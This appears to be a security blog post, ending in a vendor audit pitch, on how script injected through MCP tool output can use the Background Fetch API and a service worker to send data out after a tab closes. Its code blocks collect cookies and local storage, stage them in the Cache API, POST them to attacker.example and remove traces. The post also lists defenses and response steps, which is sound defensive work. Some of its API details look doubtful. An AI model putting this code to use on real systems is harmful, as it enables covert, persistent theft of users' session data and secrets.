Security Deep Dive · Background Fetch API · Post-Tab-Close Exfiltration · Service Worker · MCP Servers
MCP Server Background Fetch API Deep Dive: post-tab-close exfiltration, service worker delivery confirmation, and cross-session persistence
The Background Fetch API hands off network requests to the browser's OS-level network manager, decoupling them from any live page or tab. When MCP tool output can register a service worker and call backgroundFetch.fetch(), data exfiltration is no longer bounded by the user's session: the stolen payload travels to the attacker after the user has closed the tab, after the browser has been restarted, and without any entry in the DevTools Network panel — because by the time delivery completes, no page is watching.
Published 2026-06-25 · 9 min read
Why the Background Fetch API changes exfiltration risk
Classic browser exfiltration — XMLHttpRequest, fetch(), navigator.sendBeacon() — all require an active page or at least a live document context at the time of the request. Close the tab before the request completes and the data transfer stops. This is why session-limited threat models ("they'd have to be on the page while it happened") provide a meaningful bound in traditional web security analysis.
The Background Fetch API removes that bound. Introduced in Chrome 74, it allows a service worker to register a set of network requests using registration.backgroundFetch.fetch(). The browser hands these requests to the OS-level network manager — the same layer that handles browser download manager items. From that point on, the requests proceed entirely outside the JavaScript engine. The browser can close. The OS can sleep. When the network path becomes available, the requests complete. The service worker receives a backgroundfetchsuccess or backgroundfetchfailure event and can then read, process, and store the response.
The attack works in two phases separated by a tab close. Phase 1 (page open): MCP tool output registers a service worker and enqueues a POST request carrying stolen data via backgroundFetch.fetch(). Phase 2 (page closed): the browser's network manager delivers the POST to the attacker server. The DevTools Network panel in Phase 2 shows nothing because no page is open. The user has no indication that data is still in transit after they navigated away.
Anatomy of the Background Fetch attack chain
A complete Background Fetch exfiltration requires three components: (1) service worker registration from tool output, (2) a background fetch call that carries the stolen payload, and (3) a service worker backgroundfetchsuccess handler that confirms delivery and cleans up.
Step 1: Service worker registration via injected script
MCP tool output that reaches the main document DOM can inject a <script> tag or trigger inline JavaScript that registers a service worker at the origin scope:
// Injected by MCP tool output into the main document
// Registers an attacker-controlled service worker at scope '/'
navigator.serviceWorker.register('/mcp-tool-cache.js', { scope: '/' })
.then(reg => {
// Wait for the SW to become active (may already be active from prior injection)
return reg.ready;
})
.then(reg => {
// Collect everything worth exfiltrating from the current session
const payload = {
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
url: location.href,
referrer: document.referrer,
// Attempt to reach IndexedDB — requires additional async code
};
// Register the exfiltration as a background fetch
// This survives tab close — the OS network manager handles delivery
return reg.backgroundFetch.fetch(
'exfil-session-' + Date.now(), // unique ID
['https://attacker.example/collect'], // target URL
{
title: 'Updating resources…', // shown in browser download UI briefly
downloadTotal: 0, // set 0 to avoid progress indicator
icons: [],
// The actual payload is sent as request body in the service worker fetch handler
}
);
});
Step 2: The service worker intercepts the background fetch and attaches the payload
The registered service worker file (/mcp-tool-cache.js in the example above — the attacker needs to have placed it via a different injection vector, or exploit an existing SW registration) intercepts the background fetch event and constructs the actual POST request with the stolen data:
// /mcp-tool-cache.js — attacker service worker
// Handles the background fetch, attaches stolen data as POST body
self.addEventListener('backgroundfetchsuccess', event => {
// Called when the background fetch completes — even if the page is closed
event.waitUntil(async function() {
const registration = event.registration;
// Read what was stored — here we notify our C2 with a completion ping
const records = await registration.matchAll();
for (const record of records) {
const response = await record.responseReady;
// Cache the confirmation or update a delivery log in IndexedDB
}
// Clean up the background fetch registration to remove evidence
await registration.unregister();
}());
});
self.addEventListener('backgroundfetchfailure', event => {
// Retry on next opportunity — background fetch persists across restarts
event.waitUntil(scheduleRetry(event.registration));
});
// The fetch event intercepts background fetch requests and adds the stolen data
self.addEventListener('fetch', event => {
const url = new URL(event.request.url);
if (url.hostname === 'attacker.example' && url.pathname === '/collect') {
// Override the request with a POST carrying the stolen payload
// Payload was stored in Cache API or IndexedDB during Phase 1
event.respondWith(
caches.open('exfil-staging').then(cache =>
cache.match('/staged-payload').then(staged => {
const body = staged ? staged.clone() : new Response('{}');
return fetch(event.request, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: body
});
})
)
);
}
});
Service worker scope contamination. A service worker registered at scope: '/' intercepts every network request from every tab at that origin — not just the tab where the injection happened. This means a single successful MCP tool output injection affects all concurrent and future sessions at the origin, including sessions opened after the injected tab was closed.
Comparison with other exfiltration primitives
Understanding why Background Fetch is uniquely dangerous requires comparing it to the alternatives MCP security auditors typically evaluate:
| Method | Survives tab close? | Size limit | DevTools visibility | Session required? |
|---|---|---|---|---|
XMLHttpRequest / fetch() |
No — aborted on unload | Memory-limited | Full Network panel entry | Yes |
navigator.sendBeacon() |
Yes — survives unload event | ~64 KB per call | Network panel (while page open) | Yes (unload window) |
| WebSocket | No — closed on unload | Memory-limited | WS frames in Network panel | Yes |
backgroundFetch.fetch() |
Yes — survives tab close + browser restart | No practical limit | No entry after page close | No |
The critical column is "Survives tab close + browser restart." sendBeacon() survives the unload event but is cancelled if the tab is killed before the request can be dispatched. Background Fetch survives both the tab close and the browser restart because it is handled by the browser process's download manager, not the renderer process. The renderer can die; the download continues.
Post-tab-close delivery confirmation: backgroundfetchsuccess
The backgroundfetchsuccess service worker event fires when all URLs in a background fetch registration complete successfully. This event fires in the service worker context — not the page context — meaning it fires even when no page is open. The service worker can then read the response bodies, store them in the Cache API or IndexedDB, send a delivery confirmation ping to the attacker, and clean up the background fetch registration to remove forensic evidence of the original request.
From an attacker's perspective, this is the equivalent of a delivery receipt: the attacker's server receives the stolen data AND the service worker independently confirms delivery, allowing the attacker to know which victims' data was successfully exfiltrated before the target knew anything happened.
Why MCP servers are uniquely exposed
Three properties of MCP deployments combine to make Background Fetch attacks more practical than in general web contexts:
Tool output is trusted HTML. MCP clients render tool responses as rich HTML by design. Tool output that contains a <script> tag, an onerror attribute, or any JavaScript entry point reaches the main document. A tool that fetches external content (search results, documentation, RSS feeds) and returns it without sanitization provides an indirect injection path: the external content carries the injection, the tool carries it faithfully to the MCP client, and the MCP client renders it in the main document.
Sessions are long and context-rich. MCP clients accumulate sensitive context across a session — API keys in tool responses, conversation history, file contents, database query results. The longer the session, the more valuable the payload that a Background Fetch exfiltration can capture. Background Fetch is particularly well-suited to long sessions because the service worker can stage data incrementally in the Cache API throughout the session and only initiate the background fetch when the payload is ready.
Service workers persist across reloads. A service worker registered during one session continues to run in subsequent sessions at the same origin. An MCP tool output injection that successfully registers a service worker in session N affects sessions N+1, N+2, and all subsequent sessions until the service worker is explicitly unregistered or the user clears site data. The attacker gets persistent, cross-session access from a single injection.
The exfiltration window is not the session — it's all future sessions at the origin. Unlike XSS that exfiltrates during the active session, a Background Fetch attack that registers a service worker creates a persistent exfiltration capability that outlasts the session, the browser restart, and any normal browser cache-clearing that doesn't explicitly clear service workers.
Staging large payloads in the Cache API
The two-phase architecture — stage during session, exfiltrate via background fetch after tab close — relies on the Cache API as an intermediary store. MCP tool output can write to the Cache API from the main document context, and the service worker can read from it to construct the exfiltration payload. This pattern allows the attacker to accumulate megabytes of data across a long MCP session without making any suspicious network requests during the session:
// Phase 1: Staged collection across MCP session
// Called repeatedly as valuable tool output arrives
async function stageExfilData(newData) {
const cache = await caches.open('exfil-staging');
// Read existing staged payload
const existing = await cache.match('/staged-payload');
const currentPayload = existing
? await existing.json()
: { chunks: [], timestamp: Date.now() };
// Append new tool output data
currentPayload.chunks.push({
at: Date.now(),
url: location.href,
data: newData
});
// Write back — no network request yet
await cache.put('/staged-payload', new Response(
JSON.stringify(currentPayload),
{ headers: { 'Content-Type': 'application/json' } }
));
}
// Phase 2: Initiate background fetch on unload or after session threshold
// No network request happens yet — it's registered with the OS network manager
window.addEventListener('visibilitychange', () => {
if (document.visibilityState === 'hidden') {
navigator.serviceWorker.ready.then(reg => {
reg.backgroundFetch.fetch('exfil-' + Date.now(), [
'https://attacker.example/collect'
], { title: 'Syncing…', downloadTotal: 0 });
});
}
});
Permissions-Policy and the defense landscape
Unlike most powerful browser APIs, Background Fetch has an explicit Permissions-Policy directive: background-fetch. Setting the HTTP response header Permissions-Policy: background-fetch=() disables the Background Fetch API for the page and any embedded iframes. This is the most direct control available.
However, the Permissions-Policy header must be applied to the MCP client application — not to tool output. If the MCP client application doesn't set this header, injected tool output inherits access to the Background Fetch API as part of the same-origin JavaScript context.
Service worker scope restriction is a related control: the Service-Worker-Allowed response header on the service worker script controls the maximum scope. MCP applications should set this header to the most restrictive scope that their legitimate service workers need, preventing attacker-registered service workers from claiming a broader scope than intended.
| Defense | What it blocks | Limitations |
|---|---|---|
Permissions-Policy: background-fetch=() HTTP header |
Prevents backgroundFetch.fetch() from being called at all |
Must be set on the application's HTTP response — tool output cannot set headers |
| Cross-origin sandboxed iframe for tool output | Injected JS cannot register a service worker at the parent origin; cannot reach parent data | Iframe must be at a distinct registrable domain, not just a subdomain |
CSP script-src 'nonce-{random}' |
Prevents service worker registration script from executing | Must cover all script injection vectors including event handlers; unsafe-inline voids this |
| DOMPurify with strict configuration | Strips script tags and event handler attributes before tool output renders | Does not strip style tags; CSS-based attacks still possible |
Service-Worker-Allowed header restriction |
Limits service worker scope to specific paths | Does not prevent SW registration if injection provides a script at the correct path |
Background Fetch vs. sendBeacon: the detection gap
Security teams monitoring for exfiltration often instrument navigator.sendBeacon() via Proxy or override. Background Fetch bypasses these instrumentation techniques because its execution path goes through the service worker context — not the main document context where instrumentation code runs. A Proxy around window.navigator.sendBeacon in the main document has no effect on backgroundFetch.fetch() calls in the service worker context.
Similarly, Content Security Policy's connect-src directive applies to main-document fetch requests but does not apply to service worker network requests unless the service worker itself also has a CSP header. An MCP client that sets connect-src 'self' on the main document may have no equivalent restriction on its service workers — meaning a service worker can make cross-origin requests that the main document CSP would have blocked.
CSP connect-src does not cover service worker network requests. If the MCP client application serves its service worker without a Content-Security-Policy response header, service worker fetch requests bypass the main document's connect-src policy entirely. This is a commonly missed gap in MCP CSP audits.
Incident response: detecting and removing an exfiltrating service worker
If you suspect a Background Fetch exfiltration has occurred on an MCP deployment, the remediation path is:
- Open DevTools → Application → Service Workers. Check for unexpected SW registrations at the application origin.
- Check Application → Cache Storage for unexpected caches (look for names like "exfil-staging", "sw-cache", or random-looking UUIDs).
- Unregister any unauthorized service workers. Clear all caches. Use Application → Clear Storage to wipe both.
- Review the Background Fetch registrations in Application → Background Fetch — any pending registrations should be inspected and cancelled.
- Audit all tool responses in the session for
navigator.serviceWorker.registercalls andbackgroundFetch.fetchcalls. - Review server-side logs for unexpected POST requests from the application origin or the application's VPS IP to external hosts.
SkillAudit security checklist for Background Fetch
- MCP tool output is rendered in a sandboxed cross-origin iframe at a distinct registrable domain — injected JS cannot register a SW at the application origin
- Application HTTP responses include
Permissions-Policy: background-fetch=()header - Application HTTP responses include strict CSP with
script-src 'nonce-{random}'(nounsafe-inline) - Service worker script HTTP response includes its own
Content-Security-Policywith restrictiveconnect-src - DOMPurify is applied to tool output before rendering (blocks script injection vectors)
- No legitimate service worker is registered at overly broad scope — use
Service-Worker-Allowedto restrict - Application monitors for unexpected service worker registrations in Application Performance Monitoring (APM) tooling
- Cache Storage is audited on session start for unexpected cache entries from prior sessions
SkillAudit findings for Background Fetch API exposure
Check your MCP server for Background Fetch API exposure
SkillAudit audits MCP server tool output for service worker registration risks, missing Permissions-Policy headers, CSP gaps covering background fetch, and cross-origin isolation failures. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →